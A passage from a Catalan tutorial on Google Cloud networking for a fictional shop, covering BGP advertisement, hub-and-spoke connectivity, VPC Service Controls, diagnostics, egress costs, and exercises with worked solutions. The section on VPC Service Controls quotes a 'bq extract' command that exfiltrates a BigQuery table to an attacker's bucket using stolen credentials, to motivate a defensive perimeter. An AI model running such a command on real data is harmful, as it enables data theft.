--region=europe-west1 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
--project=alpinashop-redSense aquesta línia, Sabadell no pot abastar Cloud SQL per IP privada encara que el túnel funcioni perfectament, perquè 10.10.240.0/20 no és una subxarxa de la VPC: és un rang cedit a Google. És de les fallades més desconcertants que existeixen, perquè tot sembla correcte.
També es pot anunciar només des d'una sessió BGP concreta, útil per a polítiques de sortida:
gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-0 \
--advertisement-mode=custom \
--set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
--region=europe-west1 --project=alpinashop-redEls cinc errors clàssics d'encaminament
| Error | Símptoma | Solució |
|---|---|---|
| Rangs encavalcats | El trànsit «desapareix» o va al lloc equivocat | Renumerar. No hi ha drecera |
| No anunciar el rang de serveis privats | Túnel amunt, però no s'arriba a Cloud SQL | --set-advertisement-ranges |
routing_mode = REGIONAL amb recursos multiregió |
Una regió hi arriba i l'altra no | Canviar a GLOBAL |
| Esperar transitivitat de l'aparellament | La VPC aparellada no arriba a la VPN | És impossible per disseny; fer servir NCC o VPC compartida |
| Tallafoc oblidat | BGP amunt, ping sense resposta |
Regla d'entrada per al rang remot |
- Network Connectivity Center: la topologia radial gestionada
Quan hi ha moltes xarxes i moltes seus, el problema N² de l'aparellament es torna insuportable. Network Connectivity Center (NCC) ho resol amb un model radial (hub and spoke):
- Un eix (hub) central, que és un recurs lògic.
- Radis (spokes): VPC, túnels VPN, adjunts d'Interconnect, o dispositius virtuals de tercers.
- L'eix encamina entre radis, cosa que dona la transitivitat que l'aparellament no té.
flowchart TB
HUB(("NCC hub"))
S1["VPC producció"] --- HUB
S2["VPC dades"] --- HUB
S3["VPN Sabadell"] --- HUB
S4["VPN oficina central"] --- HUB
S5["Interconnect soci"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red
gcloud network-connectivity spokes linked-vpc-network create radio-prod \
--hub=alpinashop-hub --vpc-network=alpinashop-vpc \
--global --project=alpinashop-redEl necessita AlpinaShop? No. Amb una VPC compartida i un enllaç a Sabadell, l'eix no aporta res i costa per radi i hora. S'explica perquè és la resposta correcta quan la xarxa creix —cinc o més xarxes i seus que s'han de parlar entre si— i perquè saber que existeix evita muntar quinze aparellaments a mà.
- Controls de servei de VPC: el perímetre contra l'exfiltració
Aquest apartat respon al risc del principi de la lliçó, i és probablement el més important que hi ha aquí.
El problema que IAM no resol. IAM controla qui pot fer què. No controla des d'on ni cap a on. Si sa-informes-nocturnos té permís per llegir alpinashop_analitica, i algú roba les seves credencials:
# Amb la credencial robada, des de qualsevol maquina d internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
gs://bucket-del-atacante/exfiltrado-*.csvIAM autoritza aquesta operació. El permís existeix, la petició és legítima des del punt de vista de l'autorització. I les dades surten.
Els controls de servei de VPC (VPC Service Controls) creen un perímetre al voltant de projectes i serveis. Dins del perímetre es pot treballar; les dades no creuen la frontera, ni tan sols amb credencials vàlides.
flowchart TB
subgraph PER["Perímetre: alpinashop-datos"]
BQ["BigQuery<br/>alpinashop_analitica"]
GCS["Buckets<br/>alpinashop-datalake"]
end
OK["Dataflow des de<br/>10.10.1.0/24"] -->|"PERMÈS"| PER
LU["Lucía des d IP<br/>corporativa + nivell d accés"] -->|"PERMÈS"| PER
MAL["Credencial robada<br/>des d internet"] -.->|"BLOQUEJAT"| PER
PER -.->|"BLOQUEJAT:<br/>còpia a bucket extern"| EXT["Projecte aliè"]
style PER fill:#e6f4ea,stroke:#34a853
style MAL fill:#fce8e6,stroke:#ea4335
style EXT fill:#fce8e6,stroke:#ea4335
El perímetre d'AlpinaShop
# 1. Nivell d acces: des d on SI que es pot entrar
gcloud access-context-manager levels create acceso_corporativo \
--title="Acceso corporativo AlpinaShop" \
--basic-level-spec=nivel.yaml \
--policy=POLICY_ID# nivel.yaml
- ipSubnetworks:
- 88.20.145.0/24 # oficina central
- 192.168.10.0/24 # botiga de Sabadell, a traves del tunel
- members:
- serviceAccount:[email protected]# 2. El perimetre, PRIMER EN MODE DE PROVA
gcloud access-context-manager perimeters create perimetro_datos \
--title="Perimetro de datos AlpinaShop" \
--resources=projects/NUMERO_PROYECTO_DATOS \
--restricted-services=bigquery.googleapis.com,storage.googleapis.com \
--access-levels=acceso_corporativo \
--perimeter-type=regular \
--policy=POLICY_ID \
--dry-run # <<< IMPRESCINDIBLEAmb --dry-run, el perímetre registra el que bloquejaria sense bloquejar res. Es deixa una o dues setmanes i s'analitzen les violacions:
-- Violacions que es produirien, des dels registres d auditoria
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS identitat,
protopayload_auditlog.methodName AS metode,
protopayload_auditlog.metadata.dryRun AS en_proves,
protopayload_auditlog.metadata.violationReason AS motiu
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESCNomés quan el llistat és net o justificat s'aplica de debò (--enable-dry-run-config i promoció del perímetre).
L'advertiment que cal prendre's seriosament
VPC Service Controls és la funció de Google Cloud amb la qual més gent s'ha bloquejat a si mateixa.
El que trenca habitualment, i cal preveure-ho abans:
| Es trenca | Per què | Solució |
|---|---|---|
| La consola web de BigQuery | El navegador de la Lucía surt per una IP no inclosa | Afegir el rang al nivell d'accés |
| Cloud Build accedint a un bucket del perímetre | El projecte alpinashop-cicd és a fora |
Pont entre perímetres o incloure'l |
| Cloud Shell | Surt per IP de Google, no per la teva | Nivell d'accés específic o VM pròpia |
| Eines de tercers (Looker Studio, BI) | Fora del perímetre | Regla d'entrada específica |
| Exportacions legítimes a un altre projecte | És exactament el que bloqueja | Regla de sortida (egress policy) explícita |
I hi ha dues regles d'or:
- Mai activis un perímetre un divendres. És un tòpic i és literalment cert.
--dry-runno és opcional. És la diferència entre un control de seguretat i una caiguda d'un dia.
Avís. El disseny de perímetres, nivells d'accés i regles d'entrada i sortida té implicacions directes de seguretat i de compliment normatiu. El d'aquí és un model docent correcte, però abans de protegir dades personals o financeres en producció ho ha de revisar un professional de seguretat i de compliment normatiu.
- Diagnòstic de xarxa: Network Intelligence Center i una fallada real
Network Intelligence Center agrupa les eines que converteixen el diagnòstic de xarxa en una cosa determinista.
| Eina | Què fa |
|---|---|
| Proves de connectivitat | Simula un paquet d'A a B i diu exactament què el permet o el bloqueja |
| Topologia de xarxa | Mapa visual del trànsit real entre regions, zones i serveis |
| Tauler de rendiment | Latència i pèrdua de paquets entre zones i regions |
| Analitzador de tallafoc | Regles sense ús, regles ombrejades per altres, permissives de més |
| Flow Logs | Registre de les connexions reals |
Una fallada real, resolta amb eines
Els fets. Dilluns al matí. El procés de sincronització d'estoc porta tres hores fallant: Connection timed out en connectar a 192.168.10.20:3306. El divendres funcionava. Ningú no ha tocat res (diuen).
Pas 1 — Està amunt el túnel?
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"NAME STATUS DETAILED_STATUS tunel-sabadell-0 ESTABLISHED Tunnel is up and running tunel-sabadell-1 ESTABLISHED Tunnel is up and running
Els dos túnels amunt. No és la VPN. Aquí s'acaba el diagnòstic de molta gent, que conclou «és cosa de Sabadell» i truca per telèfon.
Pas 2 — Està amunt el BGP i quines rutes hi ha?
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"Zero rutes apreses. El túnel està establert i la sessió BGP també, però Sabadell ha deixat d'anunciar 192.168.10.0/24. El paquet no sap per on sortir.
Pas 3 — Confirmar-ho amb una prova de connectivitat, que dona un veredicte inapel·lable:
gcloud network-management connectivity-tests create diag-erp \
--source-project=alpinashop-prod \
--source-ip-address=10.10.0.15 \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 \
--protocol=TCP \
--project=alpinashop-red
gcloud network-management connectivity-tests describe diag-erp \
--project=alpinashop-red --format="yaml(reachabilityDetails)"reachabilityDetails:
result: UNREACHABLE
traces:
- steps:
- description: Initial state - instance
- description: Config checking state - apply egress firewall rule
state: APPLY_EGRESS_FIREWALL_RULE
- description: Config checking state - route
state: NO_ROUTE # <<<<<< veredicte
causeCode: NO_ROUTE_FROM_ROUTE_TABLENO_ROUTE. No és el tallafoc, no és el túnel: no hi ha ruta. La prova de connectivitat ha convertit tres hores de sospites en trenta segons de certesa.
Pas 4 — La causa arrel. Trucada a l'empresa que manté el router de Sabadell: el dissabte van actualitzar el microprogramari i la configuració BGP es va restaurar des d'una còpia anterior a la instal·lació de la VPN. La xarxa anunciada va desaparèixer de la configuració.
Pas 5 — Correcció i lliçons. El proveïdor restaura l'anunci; les rutes apareixen en menys d'un minut i el procés torna a funcionar. El que es canvia després:
- Alerta sobre
numLearnedRoutes == 0a Cloud Monitoring. Hauria avisat el dissabte a la nit. - Alerta sobre l'estat dels túnels VPN (
vpn/tunnel_established). - La sincronització d'estoc deixa de fallar en silenci: si porta més de 30 minuts sense actualitzar, alerta. La detecció la va fer un humà tres hores tard, exactament el que 06-04 volia evitar.
- L'acord amb el proveïdor de la botiga incorpora avisar de canvis al router.
Flow Logs: quan cal veure el trànsit real
Els VPC Flow Logs, activats a l'apartat 4 amb mostreig del 50 %, permeten respondre preguntes que cap altra eina no respon:
-- Qui esta parlant amb l ERP a traves del tunel, i quant
SELECT
jsonPayload.connection.src_ip AS origen,
jsonPayload.connection.dest_ip AS desti,
jsonPayload.connection.dest_port AS port,
COUNT(*) AS connexions,
SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
LIKE '192.168.10.%'
GROUP BY origen, desti, port
ORDER BY bytes DESCServeixen per a tres coses concretes: investigar incidents de seguretat (qui va parlar amb aquella IP?), entendre el cost (quin trànsit creua zones o regions) i trobar trànsit que no hauria d'existir.
El seu inconvenient és el volum: són cars. Per això flow_sampling = 0.5, i per això convé un abocador a BigQuery amb caducitat en lloc de retenció llarga a Cloud Logging (06-06).
- Nivells de servei Premium i Estàndard
Google Cloud ofereix dos nivells de xarxa per al trànsit sortint cap a internet:
| Premium (per defecte) | Estàndard | |
|---|---|---|
| Recorregut | Per la xarxa troncal privada de Google fins al punt més proper a l'usuari | Surt a internet públic des de la regió d'origen |
| Latència | Menor i més estable | Major i variable |
| IP | Anycast global | Regional |
| Balanceig global | Sí | No: només balancejadors regionals |
| SLA | Sí | Menor |
| Preu | Major | De l'ordre d'un 25-30 % menys |
La diferència pràctica amb un exemple: un client de Berlín que visita AlpinaShop a europe-west1. Amb Premium, entra a la xarxa de Google a Berlín i la resta del camí va per fibra de Google. Amb Estàndard, tot el trajecte Berlín→Bèlgica va per internet públic, amb la latència i variabilitat que això implica.
Criteri:
| Cas | Nivell |
|---|---|
| Trànsit de clients finals | Premium. La latència és conversió |
| Balancejador global, CDN, IP anycast | Premium (és obligatori) |
| Còpies de seguretat nocturnes a un altre proveïdor | Estàndard: ningú no espera |
| Entorns de desenvolupament | Estàndard |
| Transferències massives sense urgència | Estàndard |
AlpinaShop fa servir Premium per a la botiga —no és negociable, el balancejador global ho exigeix— i podria fer servir Estàndard a alpinashop-dev, encara que l'estalvi seria de cèntims.
- El cost del trànsit: on s'amaga la factura
Aquest apartat és un avançament de 07-05, però pertany aquí perquè són decisions de xarxa.
La regla que resumeix el 90 % dels casos:
L'entrada és gratis. La sortida es paga. I com més lluny, més cara.
| Trajecte | Cost orientatiu | Comentari |
|---|---|---|
| Entrada des d'internet | Gratis | Sempre |
| Dins d'una zona, per IP interna | Gratis | El cas ideal |
| Entre zones de la mateixa regió | ~0,01 $/GB | Sorprèn tothom |
| Entre regions dins de la UE | ~0,02 $/GB | |
| Entre continents | 0,05-0,15 $/GB | |
| Sortida a internet (Premium, primers TB) | ~0,12 $/GB | |
| Sortida a internet via Cloud CDN | Menor | Per això la CDN estalvia (03-03) |
| Sortida per túnel VPN | Tarifa d'internet + cost del túnel |
Els quatre amagatalls clàssics, amb el seu remei:
- Trànsit entre zones per alta disponibilitat. Cloud SQL en HA regional replica contínuament entre zones, i això es paga. És el preu de la disponibilitat i està bé pagar-lo — però cal saber que hi és abans de sorprendre's.
- Aplicació i base de dades en zones diferents sense motiu. Cada consulta creua zona i paga. Col·locar deliberadament el que es parla molt és gratis i estalvia.
- Registres i mètriques que creuen regions. Un abocador de registres d'
europe-west1cap a un bucket aus-central1paga trànsit intercontinental per cada línia de registre. Els buckets de registres es posen a la mateixa regió. - Còpies de seguretat i exportacions a un altre proveïdor. Treure 500 GB al mes cap a un altre núvol són desenes d'euros mensuals que ningú no va atribuir a ningú.
Les tres palanques d'estalvi que s'apliquen a la xarxa:
- CDN (03-03): cada resposta servida des de memòria cau no surt de l'origen. És la palanca més gran per a un lloc amb imatges.
- Col·locació: posar a la mateixa zona el que es crida constantment.
- Comprimir:
gzipobrotlial balancejador redueix els bytes facturats i a més millora l'experiència.
I el desglossament per servei es consulta amb l'exportació de facturació de 01-04:
SELECT
service.description AS servei,
sku.description AS concepte,
ROUND(SUM(cost), 2) AS cost_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND (LOWER(sku.description) LIKE '%egress%'
OR LOWER(sku.description) LIKE '%network%'
OR LOWER(sku.description) LIKE '%inter-zone%'
OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY servei, concepte
HAVING cost_eur > 0.5
ORDER BY cost_eur DESCErrors Habituals i Consells
- No tenir pla d'adreçament. El dia que dos rangs s'encavalquin, l'única solució és renumerar amb aturada de servei. Deu minuts de full de càlcul eviten un cap de setmana horrible.
- Fer servir
172.16.0.0/12a la VPC. És el rang per defecte de Docker; els contenidors no podran abastar aquelles IP. - Crear la VPC amb
auto_create_subnetworks = true. Crea una subxarxa a cada regió amb rangs que no vas triar i que probablement xocaran amb alguna cosa. - Posar la xarxa compartida al projecte de producció. Obliga a donar permisos de producció a qui només necessita una subxarxa de desenvolupament. Projecte amfitrió propi i buit.
- Donar
compute.networkUsersobre tota la xarxa. Es dona sobre la subxarxa concreta. És la meitat del valor de la VPC compartida. - Oblidar el permís de l'agent
serverless-robot-proden fer servir Cloud Run amb VPC directa en VPC compartida. Error críptic garantit. routing_mode = REGIONALen una xarxa que creixerà. Canviar-ho després reinicia les sessions BGP.- Esperar transitivitat de l'aparellament. A↔B i B↔C no donen A↔C. Mai.
- Aparellar sense
--export-custom-routes. L'aparellament s'estableix i tot i així no s'arriba a la VPN de l'altre costat. - No anunciar el rang d'accés a serveis privats. Túnel perfecte i Cloud SQL inabastable des de la seu.
- Muntar la VPN amb un sol túnel. Qualsevol manteniment de l'altre costat és un tall. Dos túnels, sempre.
- Activar VPC Service Controls sense
--dry-run. És la manera més eficaç de bloquejar tot el teu equip, tu inclòs. - Oblidar que Cloud Shell surt per IP de Google. Amb un perímetre actiu, la teva pròpia consola deixa de funcionar i sembla una fallada de la plataforma.
- Diagnosticar xarxes a base de
pingi suposicions. Les proves de connectivitat donen un veredicte amb la regla concreta que bloqueja. - Ignorar el trànsit entre zones. No és gratis, i en arquitectures replicades és una part apreciable de la factura.
- Consell: alerta sobre
numLearnedRoutesi sobre l'estat dels túnels. Són dues mètriques que avisen d'una fallada híbrida abans que ho noti un procés de negoci. - Consell: desa la clau precompartida de la VPN a Secret Manager, no al
.tfni a l'historial del terminal. - Consell: activa els Flow Logs amb mostreig, no al 100 %. Al 50 % veus el que necessites per la meitat de cost.
Exercicis
Exercici 1 — Dissenyar l'adreçament d'una expansió
AlpinaShop creix i cal planificar la xarxa per al següent:
- Segona regió
europe-southwest1(Madrid) per a alta disponibilitat, amb les mateixes tres subxarxes. - Dues botigues físiques noves: Girona i Saragossa, cadascuna amb la seva LAN i la seva VPN.
- Un soci logístic que es connectarà per Private Service Connect per consultar l'estat dels enviaments.
- Un entorn de proves de càrrega que es crea i es destrueix, aïllat de la resta.
- Previsió d'un clúster de GKE amb fins a 200 pods.
Elabora la taula completa d'adreçament indicant rang, ús, regió i justificació de la mida. Assenyala quines decisions prens per no quedar-te sense espai en cinc anys i quins rangs prohibeixes explícitament.
Exercici 2 — Implementar la VPC compartida amb permisos correctes
Escriu el Terraform que:
- Converteix
alpinashop-reden projecte amfitrió i vinculaalpinashop-prod,alpinashop-devialpinashop-datos. - Crea les subxarxes
sn-web-euw1,sn-datos-euw1isn-dev-euw1amb Private Google Access i Flow Logs al 50 %. - Concedeix permisos de manera que:
gcp-desarrollo@només pugui fer servirsn-dev-euw1;gcp-datos@noméssn-datos-euw1; el compte de servei de Cloud Run pugui fer servirsn-web-euw1; i ningú tret degcp-infra@pugui modificar regles de tallafoc. - Defineix qui té
compute.xpnAdmini en quin nivell de la jerarquia.
Explica a més què passaria si el Dani intentés crear una VM a sn-datos-euw1 i quin error veuria exactament.
Exercici 3 — Diagnosticar tres fallades de connectivitat
Per a cadascun d'aquests tres casos, indica el diagnòstic més probable, com el confirmaries amb eines concretes, i com el corregiries.
(a) El servei alpinashop-web a Cloud Run, amb VPC directa configurada, no aconsegueix connectar a 192.168.10.20:3306 (l'ERP). Des d'una VM de sn-web-euw1 sí que funciona. Els túnels estan ESTABLISHED i el BGP aprèn 192.168.10.0/24.
(b) La Lucía no pot obrir la consola de BigQuery des del seu portàtil a casa. Des de l'oficina sí. L'error diu VPC Service Controls: Request is prohibited by organization's policy. Fa dues setmanes que el perímetre està actiu i fins ara ningú no s'havia queixat.
(c) Una VM del projecte alpinashop-datos (VPC pròpia, aparellada amb alpinashop-vpc) necessita arribar a l'ERP de Sabadell. L'aparellament està ACTIVE, la VM arriba sense problemes a les VM de sn-web-euw1, però a 192.168.10.20 no.
Solucions
Solució 1 — Dissenyar l'adreçament d'una expansió
Principi rector: reservar blocs /16 complets per àmbit encara que se'n faci servir una fracció mínima. L'espai privat té 16,7 milions d'adreces a 10.0.0.0/8: estalviar rangs és una falsa economia i la causa número u de renumeracions.
| Bloc | Rang | Ús | Regió / seu | Justificació de la mida |
|---|---|---|---|---|
| Google Cloud, regió 1 | 10.10.0.0/16 |
Existent | europe-west1 |
65k IP, en sobra |
10.10.0.0/24 |
sn-web-euw1 |
Càrregues web | ||
10.10.1.0/24 |
sn-datos-euw1 |
Bases de dades | ||
10.10.2.0/24 |
sn-dev-euw1 |
Desenvolupament | ||
10.10.8.0/22 |
Pods de GKE (secundari) | 200 pods necessiten ~1.024 IP amb marge de reprogramació | ||
10.10.12.0/24 |
Serveis de GKE (secundari) | 256 serveis de sobres | ||
10.10.16.0/24 |
Subxarxa de només proxy | Balancejadors interns | ||
10.10.20.0/24 |
Cloud Run VPC directa | Consumeix IP per instància; /24 és folgat |
||
10.10.240.0/20 |
Accés a serveis privats | Ho exigeix Google; no reduir | ||
| Google Cloud, regió 2 | 10.20.0.0/16 |
Mirall exacte | europe-southwest1 |
Mateix esquema amb el segon octet canviat |
10.20.0.0/24 |
sn-web-esw1 |
|||
10.20.1.0/24 |
sn-datos-esw1 |
|||
10.20.2.0/24 |
sn-dev-esw1 |
|||
10.20.240.0/20 |
Serveis privats regió 2 | |||
| Regions futures | 10.30.0.0/16 … 10.90.0.0/16 |
Reservat | — | Un /16 per regió, sense assignar |
| Proves de càrrega | 10.100.0.0/16 |
Efímer, VPC aïllada | europe-west1 |
Deliberadament fora del bloc de producció |
| Botigues físiques | 192.168.0.0/16 |
Bloc de seus | — | Es manté l'esquema existent |
192.168.10.0/24 |
Sabadell | Existent | ||
192.168.11.0/24 |
Girona | Nova | ||
192.168.12.0/24 |
Saragossa | Nova | ||
192.168.13.0/24 … 192.168.49.0/24 |
Reservat: 37 botigues més | |||
192.168.20.0/24 |
Oficina central | Existent | ||
| Extrems PSC | 10.10.250.0/24 |
Extrems de consum | europe-west1 |
Fora de les subxarxes normals, fàcil d'identificar |
10.20.250.0/24 |
Ídem regió 2 | |||
| PROHIBIT | 172.16.0.0/12 |
Docker | — | Xoca amb xarxes pont de contenidors |
| PROHIBIT | 169.254.0.0/16 |
Enllaç local | — | El fan servir BGP i les metadades de GCP |
| PROHIBIT | 10.0.0.0/16, 10.1.0.0/16 |
Reservat a fusions | — | Rangs «obvis» que sol fer servir el que compres |
Les cinc decisions que eviten la renumeració a cinc anys:
- Un
/16per regió, amb el segon octet com a identificador de regió.10.X0.0.0/16. Mirar una IP i saber la regió sense consultar res té un valor operatiu enorme durant un incident. - Esquema de subxarxes idèntic entre regions, canviant només el segon octet. Les regles de tallafoc, els scripts i els diagrames es repliquen amb una substitució.
- Les botigues van totes a
192.168.0.0/16amb/24correlatius. L'anunci BGP es pot agregar i una regla de tallafoc cobreix totes les botigues presents i futures. - Les proves de càrrega a
10.100.0.0/16, fora del bloc de producció i en VPC pròpia sense aparellar. Si un test descontrolat inunda alguna cosa, no pot abastar producció. I com que és efímer, el seu rang es pot reutilitzar sense risc. - Reservar
10.0.0.0/16i10.1.0.0/16sense fer-los servir. Són els rangs que tria per defecte qui no planifica. El dia que AlpinaShop compri una altra empresa, és gairebé segur que la comprada fa servir un d'aquests dos — i tenir-los lliures evita renumerar la xarxa aliena.
Sobre el soci logístic: no consumeix adreçament propi. Amb PSC crea un extrem a la seva VPC amb el seu rang, apuntant al service attachment d'AlpinaShop. Cap de les dues parts no veu la xarxa de l'altra, no hi ha risc d'encavalcament i no hi ha rutes per gestionar. És exactament el cas d'ús de PSC davant de l'aparellament, i per això s'ha convertit en l'estàndard per connectar amb socis.
Solució 2 — Implementar la VPC compartida amb permisos correctes
# ------------------------------------------------------------------
# 1. Projecte amfitrio i vinculacio de projectes de servei
# ------------------------------------------------------------------
resource "google_compute_shared_vpc_host_project" "host" {
project = "alpinashop-red"
}
resource "google_compute_shared_vpc_service_project" "servicios" {
for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])
host_project = google_compute_shared_vpc_host_project.host.project
service_project = each.value
}
# ------------------------------------------------------------------
# 2. Xarxa i subxarxes
# ------------------------------------------------------------------
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false
routing_mode = "GLOBAL"
}
locals {
subredes = {
"sn-web-euw1" = "10.10.0.0/24"
"sn-datos-euw1" = "10.10.1.0/24"
"sn-dev-euw1" = "10.10.2.0/24"
}
}
resource "google_compute_subnetwork" "subredes" {
for_each = local.subredes
project = "alpinashop-red"
name = each.key
ip_cidr_range = each.value
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5
metadata = "INCLUDE_ALL_METADATA"
}
}
# ------------------------------------------------------------------
# 3. Permisos granulars PER SUBXARXA
# ------------------------------------------------------------------
resource "google_compute_subnetwork_iam_member" "dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
resource "google_compute_subnetwork_iam_member" "datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# Cloud Run amb VPC directa: el permis el necessita l AGENT DE SERVEI,
# no el compte de servei del servei. Es l error que ningu no endevina.
resource "google_compute_subnetwork_iam_member" "run" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}
data "google_project" "prod" {
project_id = "alpinashop-prod"
}
# ------------------------------------------------------------------
# 4. Tallafoc: NOMES gcp-infra@ el pot tocar
# ------------------------------------------------------------------
resource "google_project_iam_member" "seguridad_red" {
project = "alpinashop-red"
role = "roles/compute.securityAdmin" # gestiona regles de tallafoc
member = "group:[email protected]"
}
resource "google_project_iam_member" "admin_red" {
project = "alpinashop-red"
role = "roles/compute.networkAdmin" # subxarxes, routers, VPN, NAT
member = "group:[email protected]"
}
# Els altres equips nomes LLEGEIXEN la xarxa, per poder depurar
resource "google_project_iam_member" "lectores_red" {
for_each = toset([
"group:[email protected]",
"group:[email protected]",
])
project = "alpinashop-red"
role = "roles/compute.networkViewer"
member = each.value
}
# ------------------------------------------------------------------
# 5. xpnAdmin: a nivell de CARPETA, no de projecte
# ------------------------------------------------------------------
resource "google_folder_iam_member" "xpn_admin" {
folder = var.folder_compartido_id
role = "roles/compute.xpnAdmin"
member = "group:[email protected]"
}Sobre compute.xpnAdmin. Es concedeix a gcp-infra@ a nivell de la carpeta compartido, no de projecte, perquè és on viu l'amfitrió i des d'on es vinculen els projectes. Concedir-lo a nivell d'organització donaria poder per convertir en amfitrió qualsevol projecte de l'empresa, que és més del que cal. Aplicant el mínim privilegi de 03-04: el nivell més baix de la jerarquia en què el permís funciona.
A AlpinaShop, gcp-infra@ és la Marta, i aquest és exactament el tipus de permís que a 07-04 es convertirà en candidat a elevació temporal en lloc de permanent.
Què passaria si el Dani intentés crear una VM a sn-datos-euw1:
$ gcloud compute instances create prueba-dani \
--project=alpinashop-dev --zone=europe-west1-b \
--subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1
ERROR: (gcloud.compute.instances.create) Could not fetch resource:
- Required 'compute.subnetworks.use' permission for
'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'El permís que falta és compute.subnetworks.use, que forma part de roles/compute.networkUser. El missatge anomena la subxarxa concreta, cosa que fa el diagnòstic immediat.
I hi ha un matís revelador: si el Dani executa gcloud compute networks subnets list --project=alpinashop-red, veurà sn-dev-euw1 i també sn-datos-euw1, perquè té networkViewer. Pot veure que existeix, però no fer-la servir. Aquesta distinció entre veure i usar és deliberada: sense visibilitat no es pot diagnosticar res, i amb networkViewer no es pot fer mal.
Solució 3 — Diagnosticar tres fallades de connectivitat
(a) Cloud Run no arriba a l'ERP, però una VM de la mateixa subxarxa sí.
Diagnòstic. Que una VM de sn-web-euw1 sí que hi arribi demostra que la ruta, el BGP i el tallafoc estan bé. El que canvia entre la VM i Cloud Run és com surt el trànsit. La causa gairebé segura és --vpc-egress: si està en private-ranges-only, el trànsit a rangs RFC 1918 hauria d'anar per la VPC… i 192.168.10.0/24 és RFC 1918, així que això encaixa. Queden dues hipòtesis:
- El servei no té VPC directa realment aplicada (es va configurar al servei però la revisió en trànsit és anterior al canvi). És la causa més freqüent: la configuració de xarxa s'aplica per revisió, i si es va canviar amb
--no-traffic, el 100 % del trànsit continua a la revisió antiga sense xarxa. - La subxarxa assignada a la VPC directa no és
sn-web-euw1sinó una altra sense les rutes correctes.
Confirmació.
# Quina revisio esta rebent transit i quina xarxa te
gcloud run services describe alpinashop-web --region=europe-west1 \
--format="yaml(spec.traffic, spec.template.metadata.annotations)"
# Prova de connectivitat prenent Cloud Run com a origen
gcloud network-management connectivity-tests create diag-run-erp \
--source-cloud-run-revision=alpinashop-web-00042-abc \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 --protocol=TCP \
--project=alpinashop-redCorrecció. Redesplegar aplicant xarxa i donant trànsit a aquella revisió:
gcloud run services update alpinashop-web --region=europe-west1 \
--network=alpinashop-vpc --subnet=sn-web-euw1 \
--vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latestI comprovar que l'agent serverless-robot-prod té networkUser sobre sn-web-euw1; sense ell, el desplegament hauria fallat amb un error de permisos poc explícit.
(b) La Lucía no pot entrar a BigQuery des de casa.
Diagnòstic. El missatge ho diu literalment: el perímetre de VPC Service Controls està bloquejant la petició. El nivell d'accés acceso_corporativo inclou 88.20.145.0/24 (l'oficina) i 192.168.10.0/24 (Sabadell), però no la IP domèstica de la Lucía. Des de l'oficina funciona perquè surt pel rang permès.
Que «fins ara ningú no s'havia queixat» no significa que sigui nou: significa que ningú no havia treballat des de fora des que es va activar el perímetre. És el patró típic — el perímetre s'activa, funciona, i dues setmanes després algú teletreballa i apareix el problema.
Confirmació.
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS qui,
protopayload_auditlog.requestMetadata.callerIp AS ip_origen,
protopayload_auditlog.metadata.violationReason AS motiu
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20El camp callerIp mostra la IP domèstica i violationReason dirà NO_MATCHING_ACCESS_LEVEL.
Correcció. Hi ha tres opcions, i la pitjor és la més temptadora:
| Opció | Valoració |
|---|---|
| Afegir la IP de casa de la Lucía al nivell d'accés | Dolenta. Les IP domèstiques són dinàmiques i això es repetirà amb cada persona i cada canvi d'IP. Converteix el nivell d'accés en una llista immanejable |
| Que la Lucía es connecti per VPN corporativa i surti per la IP d'oficina | Acceptable, però exigeix muntar i mantenir una VPN d'usuari |
| Nivell d'accés basat en dispositiu, amb BeyondCorp Enterprise / Endpoint Verification: es permet l'accés des d'un equip gestionat, xifrat i amb pantalla bloquejada, independentment de la IP | La correcta, i és la implementació pràctica de la confiança zero que es desenvolupa a 07-04 |
